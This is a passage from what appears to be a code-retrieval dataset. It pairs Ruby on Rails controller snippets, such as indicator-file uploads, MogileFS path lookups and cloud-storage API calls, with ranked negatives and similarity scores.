params[:key_indicate_map_indicator_file][:description]\n doc.year = params[:year]\n doc.author = current_user.email\n if !doc.save\n respond_to do |format|\n format.js {render :js=> 'alert(\"' + doc.errors.messages[:year][0] + '\");' }\n format.json { head :no_content, status: :unprocessable_entity }\n end\n return\n end\n @indicator_files << doc\n\n table = read_table_from_file 'public/uploads/key_indicate_map/indicator_file/indicate_file/' + doc._id.to_s + '/' + doc.indicate_file.filename\n @errors = doc.import table, doc.year.to_s\n end unless params['indicate_file'].nil?\n\n respond_to do |format|\n format.js {}\n format.json { head :no_content, status: :created }\n end\n end", "def create\n @key_indicate_map_indicator = KeyIndicateMap::Indicator.new(key_indicate_map_indicator_params)\n\n respond_to do |format|\n if @key_indicate_map_indicator.save\n format.html { redirect_to @key_indicate_map_indicator, notice: 'Indicator was successfully created.' }\n format.json { render :show, status: :created, location: @key_indicate_map_indicator }\n else\n format.html { render :new }\n format.json { render json: @key_indicate_map_indicator.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n\n @observation = Observation.find(params[:id])\n @coral = Coral.find(params[:coral_id])\n\n @files = Dir.glob(\"app/assets/images/tagged_outlines_thumbs/*\")\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @observation }\n end\n end", "def index\n @indication_generic_maps = IndicationGenericMap.all\n end", "def update\n respond_to do |format|\n if @key_indicate_map_indicator.update(key_indicate_map_indicator_params)\n format.html { redirect_to @key_indicate_map_indicator, notice: 'Indicator was successfully updated.' }\n format.json { render :show, status: :ok, location: @key_indicate_map_indicator }\n else\n format.html { render :edit }\n format.json { render json: @key_indicate_map_indicator.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n if key_indicate_map_indicator_file_params[:year]\n year = @key_indicate_map_indicator_file.year.to_s\n KeyIndicateMap::IndicatorKey.each{|key|\n if key['history'] && key['history'][year]\n attrs = key['history'].reject{|key, value| key == year }\n attrs[key_indicate_map_indicator_file_params[:year]] = key['history'][year]\n key.update_attributes({:history => attrs})\n end\n }\n end\n\n respond_to do |format|\n if @key_indicate_map_indicator_file.update(key_indicate_map_indicator_file_params)\n format.js {}\n format.json { head :no_content, status: :updated }\n else\n format.html { render :edit }\n format.json { render json: @key_indicate_map_indicator_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @key_indicate_map_indicator_key.update(key_indicate_map_indicator_key_params)\n format.html { redirect_to key_indicate_map_indicator_keys_path, notice: 'Indicator key was successfully updated.' }\n format.json { render :index, status: :ok, location: key_indicate_map_indicator_keys_path }\n else\n format.html { render :edit }\n format.json { render json: @key_indicate_map_indicator_key.errors, status: :unprocessable_entity }\n end\n end\n end", "def show(uuid, key)\n get(uri: \"/files/#{uuid}/metadata/#{key}/\")\n end", "def index\n @key_indicate_map_indicator_keys = KeyIndicateMap::IndicatorKey.order(sort_column + \" \" + sort_direction)\n end", "def index\n fs = FileStore.by_hash(params[:hash])\n\n file_stores = fs.map do |item|\n {\n sha1_hash: item.sha1_hash,\n file_name: File.basename(item.file.path),\n user: {\n id: item.user_id,\n uname: item.user_uname\n }\n }\n end\n render json: file_stores\n end", "def discover_files\n authorize! :create, resource_class\n respond_to do |f|\n f.json do\n render json: file_locator.to_h\n end\n end\n end", "def index\n Dir[\"#{@base_path}/*.json\"].map{|p| File.basename(p)}\n end", "def index\n @user_file_mappings = UserFileMapping.all\n end", "def create\n @key_indicate_map_indicator_key = KeyIndicateMap::IndicatorKey.new\n @key_indicate_map_indicator_key.save\n\n respond_to do |format|\n format.js\n format.json { head :no_content }\n end\n end", "def filename\n files = Hash.new\n filenames = Dir.glob('/home/vagrant/register-stub/data/*.json')\n filenames.foreach(\".\") do |file|\n puts file\n files[file].add file\n end\n return files.to_json\nend", "def request_indicator_list\t\t\n\t\t\t@uri = \n\t\t\t\tSampleStrategyBuilder::Application.config.APPLICATION_CONSTANTS[\"algofast_service_uri\"]\n\t\t\t# Send request to algofast service to download all NASDAQ indicators\n\t\t\t@indicatorUri = @uri + '/events/nasdaq';\n\n\t\t\tresponse = RestClient.get @indicatorUri, \n\t\t\t{\n\t\t\t\t:content_type => :json,\n\t\t\t\t:accept => :json,\n\t\t\t\t:authorization => SampleStrategyBuilder::Application.config.APPLICATION_CONSTANTS[\"nasdaq_req_authorization\"]\t\t\t\n\t\t\t}\n\n\t\t\t# Parse response\n\t\t\tdata = JSON.parse(response)\t\t\t\n\t\t\tif !data.nil?\n\t\t\t\tif data['response']['success'] == true\n\t\t\t\t\tRails.logger.debug(\"Request Successful\")\n\t\t\t\t\tjsonRecords = data['response']['data']['records']\t\n\t\t\t\t\t@indicators = jsonRecords.map { \n\t\t\t\t\t\t|indicator| AfIndicator.new(indicator) \n\t\t\t\t\t}\t\t\t\t\t\n\t\t\t\telse\n\t\t\t\t\tRails.logger.debug(\"Request failed, reason: #{data['response']['message']}\")\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tRails.logger.debug(\"Invalid response received from algofast service\")\n\t\t\tend\t\t\t\n\t\tend", "def index\n @mapimages = Mapimage.all\n end", "def _get_paths_with_offset(params = {})\n zone = params[:zone]\n noverify = (params[:noverify] == 1) # TODO this is unused atm\n offset_ms = params[:offset_ms].to_i\n offset_ms >= 0 && offset_ms <= MAX_OFFSET or raise MogileFS::Backend::UnknownKeyError\n dmid = get_dmid(params[:domain])\n devices = refresh_device or raise MogileFS::Backend::NoDevicesError\n urls = []\n quoted_key = if (offset_ms >= MAX_GOP_LEN) \n # Это место точно в этой минуте, куда ж деватьcя?\n @my.quote(params[:key])\n else \n # Здесь в теории возможны рейсы, НО\n # 1) оффсет прописывается один раз\n # 2) оффсет прописывается до закачки файла\n quoted_key = @my.quote(params[:key])\n sql = <<-EOS\n SELECT beginning_offset FROM file_offset\n WHERE dmid = #{dmid} AND dkey = '#{quoted_key}'\n LIMIT 1\n EOS\n\n res = query(sql).fetch_row\n minute_beginning = (res && res[0].to_i) || 0\n\n if minute_beginning <= offset_ms\n quoted_key\n else\n @my.quote(params[:prev_key])\n end\n end\n\n sql = <<-EOS\n SELECT fid FROM file\n WHERE dmid = #{dmid} AND dkey = '#{quoted_key}'\n LIMIT 1\n EOS\n\n res = query(sql).fetch_row\n res && res[0] or raise MogileFS::Backend::UnknownKeyError\n fid = res[0]\n\n sql = \"SELECT devid FROM file_on WHERE fid = '#{@my.quote(fid)}'\"\n query(sql).each do |devid,|\n unless devinfo = devices[devid.to_i]\n devices = refresh_device(true)\n devinfo = devices[devid.to_i] or next\n end\n devinfo[:readable] or next\n port = devinfo[:http_get_port]\n host = zone && zone == 'alt' ? devinfo[:altip] : devinfo[:hostip]\n uri = uri_for(devid, fid)\n urls << \"http://#{host}:#{port}#{uri}\"\n end\n urls\n end", "def get_paths(key, noverify = true, zone = nil)\n opts = { :domain => @domain, :key => key,\n :noverify => noverify ? 1 : 0, :zone => zone }\n @backend.respond_to?(:_get_paths) and return @backend._get_paths(opts)\n res = @backend.get_paths(opts)\n (1..res['paths'].to_i).map { |i| res[\"path#{i}\"] }.compact\n end", "def get_file_status(file_path)\n response = HTTParty.get(\"https://#{accountName}.azuredatalakestore.net\" +\n \"/webhdfs/v1/#{file_path}?op=GETFILESTATUS\", {\n body: \"grant_type=client_credentials&client_id=#{clientId}\"+\n \"&client_secret=#{clientSecret}\"+\n \"&resource=https%3A%2F%2Fmanagement.azure.com%2F\",\n headers: {\n \"Authorization\" => \"Bearer #{bearerToken}\",\n \"Accept\" => \"*/*\",\n \"Cache-Control\" => 'no-cache',\n \"Host\" => \"#{accountName}.azuredatalakestore.net\",\n \"Connection\" => 'keep-alive',\n \"cache-control\" => 'no-cache'\n },\n verify: true,\n })\n\n return JSON.parse response.read_body\n end", "def bulk_download_response(study_files)\n response = {}\n study_files.each do |study_file|\n file_type = study_file.simplified_file_type\n response[file_type] ||= {total_files: 0, total_bytes: 0}\n response[file_type][:total_files] += 1\n response[file_type][:total_bytes] += study_file.upload_file_size\n end\n response.with_indifferent_access\nend", "def index\n @images = Image.all\n @json = @images.to_gmaps4rails do |image, marker|\n @image = image\n marker.infowindow render_to_string(:action => 'show', :layout => false) \n marker.json({ :id => @image.id })\n end\n end", "def index\r\n markers = Marker.all\r\n render json: markers\r\n end", "def retrieve_cloud_files(files); end", "def add_index_maps(layer, druid, rootdir)\n doc = Nokogiri::XML(File.read(File.join(rootdir, 'metadata', 'contentMetadata.xml')))\n return unless doc.search('//file[@id=\\'index_map.json\\']').length > 0\n\n refs = JSON.parse(layer.metadata['dct_references_s'])\n refs['https://openindexmaps.org'] = \"#{Settings.stacks.url}/file/druid:#{druid}/index_map.json\"\n layer.metadata['dct_references_s'] = refs.to_json\n end", "def _get_paths(params = {})\n zone = params[:zone]\n noverify = (params[:noverify] == 1) # TODO this is unused atm\n dmid = get_dmid(params[:domain])\n devices = refresh_device or raise MogileFS::Backend::NoDevicesError\n urls = []\n sql = <<-EOS\n SELECT fid FROM file\n WHERE dmid = #{dmid} AND dkey = '#{@my.quote(params[:key])}'\n LIMIT 1\n EOS\n\n res = query(sql).fetch_row\n res && res[0] or raise MogileFS::Backend::UnknownKeyError\n fid = res[0]\n sql = \"SELECT devid FROM file_on WHERE fid = '#{@my.quote(fid)}'\"\n query(sql).each do |devid,|\n unless devinfo = devices[devid.to_i]\n devices = refresh_device(true)\n devinfo = devices[devid.to_i] or next\n end\n devinfo[:readable] or next\n port = devinfo[:http_get_port]\n host = zone && zone == 'alt' ? devinfo[:altip] : devinfo[:hostip]\n uri = uri_for(devid, fid)\n urls << \"http://#{host}:#{port}#{uri}\"\n end\n urls\n end", "def map_files\n file_map = {}\n entry_file = Pathname.new(map_entry)\n entry_found = false\n case @files\n when Hash\n @files.each do |path, file|\n file_map[path.to_s] = File.expand_path(file.to_s)\n entry_found = true if path.to_s==entry_file.to_s\n end\n else\n base_paths = @base_paths.collect {|path| Pathname.new(path).expand_path }\n @files.each do |fn|\n next unless fn\n relpath = strip_path(base_paths, fn) || fn\n file_map[relpath.to_s] = File.expand_path(fn.to_s)\n entry_found = true if relpath==entry_file\n end\n end\n file_map[entry_file.to_s] = File.expand_path(@entry_file.to_s) unless entry_found\n file_map\n end", "def import\n Map.import(params[:file])\n end", "def files_map(files)\n files.\n map do |file|\n {\n id: file[:id],\n uid: file[:uid],\n title: file[\"title\"],\n path: file[:file_path],\n }\n end\n end", "def index\n @maps = Map.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @maps }\n end\n end", "def files\n db = Database.find(params[:id])\n @files = Dir.entries(db.path)\n @files.delete_if{|f| !f.include?'.dat'}\n @results = []\n @files.each do |entry|\n @results << {:name=>entry,:version=>db.version}\n end\n respond_to do |format|\n format.html\n format.json { render json: @results }\n end\n end", "def index\n @keys = Key.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @keys }\n end\n end", "def json_files\n file_list '**/*.json'\n end", "def index\n limit, offset = Calculator.limit_and_offset(params)\n @key_features = KeyFeature.all.limit(limit).offset(offset).order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @key_features\n end", "def index\n @incidentfiles = Incidentfile.all\n end", "def request_files\n @request_files ||= begin\n return {} unless request_dro.structural\n\n request_dro.structural.contains.map do |file_set|\n file_set.structural.contains.map do |file|\n [file.filename, file]\n end\n end.flatten(1).to_h\n end\n end", "def iiif\n return unless map_set? || geo_file_set?\n find_thumbnail_file if map_set?\n return unless file_set\n \"#{path}/info.json\"\n end", "def index\n @pinimages = Pinimage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pinimages }\n end\n end", "def data_files\n bag.bag_files.map {|f| Pathname.new(f) }\n end", "def key_indicate_map_indicator_key_params\n params.require(:key_indicate_map_indicator_key).permit(:name, :group, :unit, :integer_or_float, :query)\n end", "def get_recording_recordingkeys_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: RecordingApi.get_recording_recordingkeys ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/recording/recordingkeys\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'EncryptionKeyEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RecordingApi#get_recording_recordingkeys\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def img_file\n return \"map_\" + symbol.to_s + \"_full\"\n end", "def image_list\n @images = Picture.where(album_id: params[:album_id])\n respond_to do |format|\n format.json { render json: @images.to_json(methods: [:path])}\n end\n end", "def load_map_names\n data = load_data('Data/MapInfos.rvdata')\n names = {}\n data.each_pair{|key, value| names[key] = value.name}\n names\n end", "def getimagesinfo\n trek = Trek.find_by_id(params[:id])\n send_data(trek.get_images_info.to_json,\n {:type => \"application/json\", :disposition => \"inline\"})\n end", "def index\n @keys = Key.all\n render json: @keys\n end", "def all_files\n @files_hash.values\n end", "def file_data\n @client.get_file @file_url\n end", "def file_list(hash)\n\nend", "def file_list(hash)\n\nend", "def index\n @maps = current_user.owned_maps\n respond_with @maps, :include => :waypoints\n end", "def files\n info[\"Files\"].to_a\n end", "def parse_files_json(file)\n\n files_hash = convert_json(b2_list_file_names(file))\n files = {}\n\n files_hash[\"files\"].each do |file_hash|\n files[file_hash[\"fileName\"]] = file_hash[\"fileId\"]\n end\n\n return files\n\nend", "def get_file_details(id)\n uri = ENDPOINT + \"file/details/#{key}/#{id}\"\n data = JSON.parse(self.class.get(uri).body, :symbolize_names => true)\n Reach::Helper::convert_keys(data)\n end", "def images() \n uri = URI.parse(\"http://\" + @location.host + \":9292/v2/images\")\n return get_request(uri, @token)\n end", "def file_map\n @file_map ||= (\n map_file ? YAML.load_file(map_file) : {}\n )\n end", "def lookup_map\n @lookup_map ||= begin\n gpath = directory.join(\"**/*.#{extension_name}\")\n\n Pathname.glob(gpath).each_with_object({}) do |path, map|\n map[ key_from_path(path) ] = path\n end\n end\n end", "def index\n @pictures = Picture.where(key: params[:key])\n end", "def index\n @map = Map.find(params[:map_id])\n # @markers = Marker.all\n @markers = Marker.where(map_id: @map)\n # @map = params[:map_id]\n end", "def index\n @files = Dir.glob(\"public/*.png\")\n end", "def index \n\t\trespond_to do |format|\t\t\n\t\t \tformat.html # index.html.erb\n\t\t \tformat.json { \n\t\t\t \t\n\t\t\t\t\n\t\t\t\t# Locations /w my assets\n\t\t\t\t\n\t\t\t\t\n\t\t\t\trfid_readers = RfidReader.all\t\t\t\t\n\t\t\t\trfid_readers = rfid_readers.map { |rfid_reader| {\t\t\t\t\t\t\n\t\t\t\t\t\t:network => rfid_reader.network.description,\n\t\t\t\t\t\t:mac_address => rfid_reader.mac_address,\n\t\t\t\t\t\t:reader_name => rfid_reader.reader_name,\n\t\t\t\t\t\t:_id => rfid_reader._id\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\t\trender json: rfid_readers \t\t\t\n\t\t \t}\n\t\tend\n\tend", "def ingest_path_info\n respond_to do |format|\n format.json {render json: ingest_directory_info(params[:path])}\n end\n end", "def b2_list_file_names(file)\n\n auth_hash = convert_json(b2_authorize_account)\n api_url = auth_hash[\"apiUrl\"]\n account_authorization_token = auth_hash[\"authorizationToken\"]\n bucket_id = ENV['bucket_id']\n prefix = file\n\n uri = URI(\"#{api_url}/b2api/v1/b2_list_file_names\")\n req = Net::HTTP::Post.new(uri)\n req.add_field(\"Authorization\",\"#{account_authorization_token}\")\n req.body = \"{\\\"bucketId\\\":\\\"#{bucket_id}\\\", \\\"prefix\\\":\\\"#{prefix}\\\"}\"\n http = Net::HTTP.new(req.uri.host, req.uri.port)\n http.use_ssl = true\n res = http.start {|http| http.request(req)}\n\n case res\n when Net::HTTPSuccess then res.body\n when Net::HTTPRedirection then fetch(res['location'], limit - 1)\n else res.error!\n end\n\nend", "def fetchControlPoints(url, mapID)\n url = URI(url.to_s+'maps/'+mapID.to_s+'/control_points.json')\n response = Net::HTTP.get_response(url)\n data = response.body\n JSON.parse(data)\n end", "def idl_files\n @idl_files\n end", "def index\n @resources = []\n\t\tDir.glob(\"#{params[:path]}/*\").each do |f|\n\t\tunless File.directory?(f)\n\t\t\[email protected](File.basename(f))\n\t\tend\n\tend\n\n\trender json: @resources\n end", "def index\n @keyholders = Keyholder.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @keyholders }\n end\n end", "def signature_request_files(opts)\n path = \"/signature_request/files/#{opts[:signature_request_id]}\"\n if opts[:file_type]\n path = path + \"?file_type=#{opts[:file_type]}\"\n end\n\n if opts[:get_url]\n separator = opts[:file_type].nil? ? '?' : '&'\n path = path + \"#{separator}get_url=#{opts[:get_url]}\"\n elsif opts[:get_data_uri]\n separator = opts[:file_type].nil? ? '?' : '&'\n path = path + \"#{separator}get_data_uri=#{opts[:get_data_uri]}\"\n end\n\n get(path)[:body]\n end", "def index\n @icons = Icon.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @icons }\n end\n end", "def keycert_files; end", "def get_fileset\n\n filesets = batched_get( { id: params[:id] } )\n if filesets.empty?\n render_json_fileset_response(:not_found )\n else\n render_json_fileset_response(:ok, fileset_transform( filesets ) )\n end\n end", "def show\n @indexed_file = IndexedFile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indexed_file }\n end\n end", "def index\n @organisational = Dictionary.find(:all, :order => \"place ASC\", :conditions => {:indicator => 1})\n @functional = Dictionary.find(:all, :conditions => { :indicator => 2 })\n @method = Dictionary.find(:all, :conditions => { :indicator => 3 })\n @leadership = Dictionary.find(:all, :conditions => { :indicator => 4 })\n @social = Dictionary.find(:all, :conditions => { :indicator => 5 })\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dictionaries }\n end\n end", "def files_hash\n @files_hash\n end", "def files\n result = form.select_files.map do |label, id|\n { id: id, text: label }\n end\n render json: result\n end", "def list_api_keys(request_options = {})\n client.get(Protocol.index_keys_uri(name), :read, request_options)\n end", "def files\n entries.map(&:filepath)\n end", "def index\n @survey_file = SurveyFile.new()\n\n \n if !params[:status]\n @protocols = ResponseSet.where(:user_id => current_user)\n else\n\n statuses = Status.where(:state => params[:status])\n @protocols = ResponseSet.where(:user_id => current_user,:access_code => statuses.map { |s| s.survey_id } )\n end\n\n @surveys = {}\n @files ={}\n @protocols.each do |p| \n @surveys[p.survey_id.to_s] = Survey.find(p.survey_id).access_code\n @files[p.id.to_s] = SurveyFile.where(:response_set_id => p.id)\n end\n @title_questions = Question.where(\"text LIKE '%Title%'\").map{|q| q.id} + Question.where(\"text LIKE '%TITLE%'\").map{|q| q.id}\n # @statuses = Status.where(:survey_id => @protocols.map { |e| e.access_code}) \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @protocols }\n\n \n\n end\n end", "def metadata_ingest_files\n return if params[:metadata_ingest_files].blank?\n params[:metadata_ingest_files].map do |metadata|\n metadata = JSON.parse(metadata, symbolize_names: true)\n file = Valkyrie::StorageAdapter.find_by(id: metadata[:id])\n PendingUpload.new(\n id: SecureRandom.uuid,\n storage_adapter_id: file.id,\n created_at: Time.current,\n file_name: metadata[:filename],\n type: metadata[:type]\n )\n rescue\n nil\n end.compact\n end", "def server_get_file(server, path)\n request(\n :path => \"containers/#{server.id}/files\",\n :params => {\n :path => path\n },\n :disable_body_extraction => true\n ).get(:body)\n end", "def list_api_keys(opts = {})\n @transporter.read(:GET, '/1/keys', {}, opts)\n end", "def get_shared_files(project_id_or_key, directory_path = '', params = {})\n get(\"projects/#{project_id_or_key}/files/metadata/#{directory_path}\", params)\n end", "def show\n @treq = Treq.find(params[:id])\n @treq_files = @treq.treq_files.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @treq }\n end\n end", "def get_mapping\n request :get, \"_mapping\"\n end", "def get_mapping\n request :get, \"_mapping\"\n end", "def files\n result = form.select_files.map do |label, id|\n { id: id, text: label }\n end\n render json: result\n end", "def files\n result = form.select_files.map do |label, id|\n { id: id, text: label }\n end\n render json: result\n end", "def index\n @markers = Marker.all\n end", "def index\n @markers = Marker.all\n end", "def index\n @audio_maps = AudioMap.all\n end", "def index\n @indicators = Indicator.all\n end" ]
[ "0.6914745", "0.61449116", "0.6086906", "0.6046348", "0.5938401", "0.5832913", "0.5746459", "0.57271", "0.57237226", "0.571251", "0.56377894", "0.5605269", "0.5459627", "0.5448437", "0.54066503", "0.5355175", "0.52721626", "0.52664214", "0.5260905", "0.5250922", "0.523955", "0.5221152", "0.51855254", "0.5177413", "0.51687545", "0.51525813", "0.5151503", "0.5149588", "0.5128538", "0.5104221", "0.5097209", "0.5094848", "0.50890696", "0.50462353", "0.50422597", "0.5040758", "0.50366265", "0.50284165", "0.502378", "0.5020415", "0.50091285", "0.5005862", "0.500197", "0.4996392", "0.4994288", "0.49900368", "0.49806336", "0.4978821", "0.49762884", "0.49711746", "0.4956613", "0.4952486", "0.49472278", "0.49417132", "0.4936484", "0.49332774", "0.4928843", "0.49269086", "0.49269086", "0.49098328", "0.49075517", "0.48985717", "0.4896305", "0.48955125", "0.48936534", "0.4881518", "0.48808843", "0.48719308", "0.48666796", "0.48646083", "0.48517278", "0.48507166", "0.48501724", "0.48458502", "0.48410088", "0.484019", "0.4836859", "0.48333392", "0.4833058", "0.48227656", "0.4822064", "0.48074332", "0.48072803", "0.48063323", "0.4798788", "0.47976097", "0.47965264", "0.47934493", "0.47927833", "0.4788358", "0.47845358", "0.47838718", "0.47752446", "0.47752446", "0.47708568", "0.47708568", "0.47677177", "0.47677177", "0.47674972", "0.47663605" ]
0.8079902
0
GET /key_indicate_map/indicator_files/1 GET /key_indicate_map/indicator_files/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @key_indicate_map_indicator_files = KeyIndicateMap::IndicatorFile.all\n end", "def set_key_indicate_map_indicator_file\n @key_indicate_map_indicator_file = KeyIndicateMap::IndicatorFile.find(params[:id])\n end", "def set_key_indicate_map_indicator\n @key_indicate_map_indicator = KeyIndicateMap::Indicator.find(params[:id])\n end", "def index\n @indicator_keys = {}\n KeyIndicateMap::IndicatorKey.all.reject{|i| i.key_indicate_map_indicators.empty? }.each{|indicator|\n group = indicator['group']\n @indicator_keys[group] = {} if @indicator_keys[group].nil?\n @indicator_keys[group]['group_icon'] = indicator['group_icon']\n @indicator_keys[group]['group_color'] = indicator['group_color']\n @indicator_keys[group]['indicators'] = [] if @indicator_keys[group]['indicators'].nil?\n @indicator_keys[group]['indicators'].push({\"id\" => indicator.id.to_s, \"name\" => indicator['name']})\n }\n @indicator_keys = @indicator_keys.sort_by{|key, value| key }\n @years = KeyIndicateMap::IndicatorFile.only(:year).map{|f| f.year}\n @selected_year = params[:year].to_i if params[:year]\n if params[:key]\n @selected_key = params[:key]\n @group = KeyIndicateMap::IndicatorKey.find(@selected_key).group\n end\n\n respond_to do |format|\n format.html\n format.js\n end\n\n end", "def set_key_indicate_map_indicator_key\n @key_indicate_map_indicator_key = KeyIndicateMap::IndicatorKey.find(params[:id])\n end", "def index\n @key_indicate_dictionary = KeyIndicate::Dictionary.first || KeyIndicate::Dictionary.create\n @keys = @key_indicate_dictionary.key_indicate_dictionary_files\n end", "def create\n @key_indicate_map_indicator = KeyIndicateMap::Indicator.new(key_indicate_map_indicator_params)\n\n respond_to do |format|\n if @key_indicate_map_indicator.save\n format.html { redirect_to @key_indicate_map_indicator, notice: 'Indicator was successfully created.' }\n format.json { render :show, status: :created, location: @key_indicate_map_indicator }\n else\n format.html { render :new }\n format.json { render json: @key_indicate_map_indicator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @indicator_files = []\n\n params['indicate_file'].each do |f|\n doc = KeyIndicateMap::IndicatorFile.new\n doc.indicate_file = f\n params[:key_indicate_map_indicator_file][:title].blank? ? doc.title = f.original_filename : doc.title = params[:key_indicate_map_indicator_file][:title]\n doc.description = params[:key_indicate_map_indicator_file][:description]\n doc.year = params[:year]\n doc.author = current_user.email\n if !doc.save\n respond_to do |format|\n format.js {render :js=> 'alert(\"' + doc.errors.messages[:year][0] + '\");' }\n format.json { head :no_content, status: :unprocessable_entity }\n end\n return\n end\n @indicator_files << doc\n\n table = read_table_from_file 'public/uploads/key_indicate_map/indicator_file/indicate_file/' + doc._id.to_s + '/' + doc.indicate_file.filename\n @errors = doc.import table, doc.year.to_s\n end unless params['indicate_file'].nil?\n\n respond_to do |format|\n format.js {}\n format.json { head :no_content, status: :created }\n end\n end", "def key_indicate_map_indicator_file_params\n params.require(:key_indicate_map_indicator_file).permit(:title, :description, :year, :town, :old_town, :indicator_key, :old_key)\n end", "def update\n respond_to do |format|\n if @key_indicate_map_indicator.update(key_indicate_map_indicator_params)\n format.html { redirect_to @key_indicate_map_indicator, notice: 'Indicator was successfully updated.' }\n format.json { render :show, status: :ok, location: @key_indicate_map_indicator }\n else\n format.html { render :edit }\n format.json { render json: @key_indicate_map_indicator.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n\n @observation = Observation.find(params[:id])\n @coral = Coral.find(params[:coral_id])\n\n @files = Dir.glob(\"app/assets/images/tagged_outlines_thumbs/*\")\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @observation }\n end\n end", "def update\n\n if key_indicate_map_indicator_file_params[:year]\n year = @key_indicate_map_indicator_file.year.to_s\n KeyIndicateMap::IndicatorKey.each{|key|\n if key['history'] && key['history'][year]\n attrs = key['history'].reject{|key, value| key == year }\n attrs[key_indicate_map_indicator_file_params[:year]] = key['history'][year]\n key.update_attributes({:history => attrs})\n end\n }\n end\n\n respond_to do |format|\n if @key_indicate_map_indicator_file.update(key_indicate_map_indicator_file_params)\n format.js {}\n format.json { head :no_content, status: :updated }\n else\n format.html { render :edit }\n format.json { render json: @key_indicate_map_indicator_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def files\n @files=get_endpoint('extra').keys\n end", "def key_indicate_map_indicator_params\n params[:key_indicate_map_indicator, :type, :history, :year, :key, :town_id]\n end", "def update\n respond_to do |format|\n if @key_indicate_map_indicator_key.update(key_indicate_map_indicator_key_params)\n format.html { redirect_to key_indicate_map_indicator_keys_path, notice: 'Indicator key was successfully updated.' }\n format.json { render :index, status: :ok, location: key_indicate_map_indicator_keys_path }\n else\n format.html { render :edit }\n format.json { render json: @key_indicate_map_indicator_key.errors, status: :unprocessable_entity }\n end\n end\n end", "def show(uuid, key)\n get(uri: \"/files/#{uuid}/metadata/#{key}/\")\n end", "def get_file_status(file_path)\n response = HTTParty.get(\"https://#{accountName}.azuredatalakestore.net\" +\n \"/webhdfs/v1/#{file_path}?op=GETFILESTATUS\", {\n body: \"grant_type=client_credentials&client_id=#{clientId}\"+\n \"&client_secret=#{clientSecret}\"+\n \"&resource=https%3A%2F%2Fmanagement.azure.com%2F\",\n headers: {\n \"Authorization\" => \"Bearer #{bearerToken}\",\n \"Accept\" => \"*/*\",\n \"Cache-Control\" => 'no-cache',\n \"Host\" => \"#{accountName}.azuredatalakestore.net\",\n \"Connection\" => 'keep-alive',\n \"cache-control\" => 'no-cache'\n },\n verify: true,\n })\n\n return JSON.parse response.read_body\n end", "def create\n @key_indicate_map_indicator_key = KeyIndicateMap::IndicatorKey.new\n @key_indicate_map_indicator_key.save\n\n respond_to do |format|\n format.js\n format.json { head :no_content }\n end\n end", "def key_files; end", "def index\n @indication_generic_maps = IndicationGenericMap.all\n end", "def index\n Dir[\"#{@base_path}/*.json\"].map{|p| File.basename(p)}\n end", "def _get_paths_with_offset(params = {})\n zone = params[:zone]\n noverify = (params[:noverify] == 1) # TODO this is unused atm\n offset_ms = params[:offset_ms].to_i\n offset_ms >= 0 && offset_ms <= MAX_OFFSET or raise MogileFS::Backend::UnknownKeyError\n dmid = get_dmid(params[:domain])\n devices = refresh_device or raise MogileFS::Backend::NoDevicesError\n urls = []\n quoted_key = if (offset_ms >= MAX_GOP_LEN) \n # Это место точно в этой минуте, куда ж деватьcя?\n @my.quote(params[:key])\n else \n # Здесь в теории возможны рейсы, НО\n # 1) оффсет прописывается один раз\n # 2) оффсет прописывается до закачки файла\n quoted_key = @my.quote(params[:key])\n sql = <<-EOS\n SELECT beginning_offset FROM file_offset\n WHERE dmid = #{dmid} AND dkey = '#{quoted_key}'\n LIMIT 1\n EOS\n\n res = query(sql).fetch_row\n minute_beginning = (res && res[0].to_i) || 0\n\n if minute_beginning <= offset_ms\n quoted_key\n else\n @my.quote(params[:prev_key])\n end\n end\n\n sql = <<-EOS\n SELECT fid FROM file\n WHERE dmid = #{dmid} AND dkey = '#{quoted_key}'\n LIMIT 1\n EOS\n\n res = query(sql).fetch_row\n res && res[0] or raise MogileFS::Backend::UnknownKeyError\n fid = res[0]\n\n sql = \"SELECT devid FROM file_on WHERE fid = '#{@my.quote(fid)}'\"\n query(sql).each do |devid,|\n unless devinfo = devices[devid.to_i]\n devices = refresh_device(true)\n devinfo = devices[devid.to_i] or next\n end\n devinfo[:readable] or 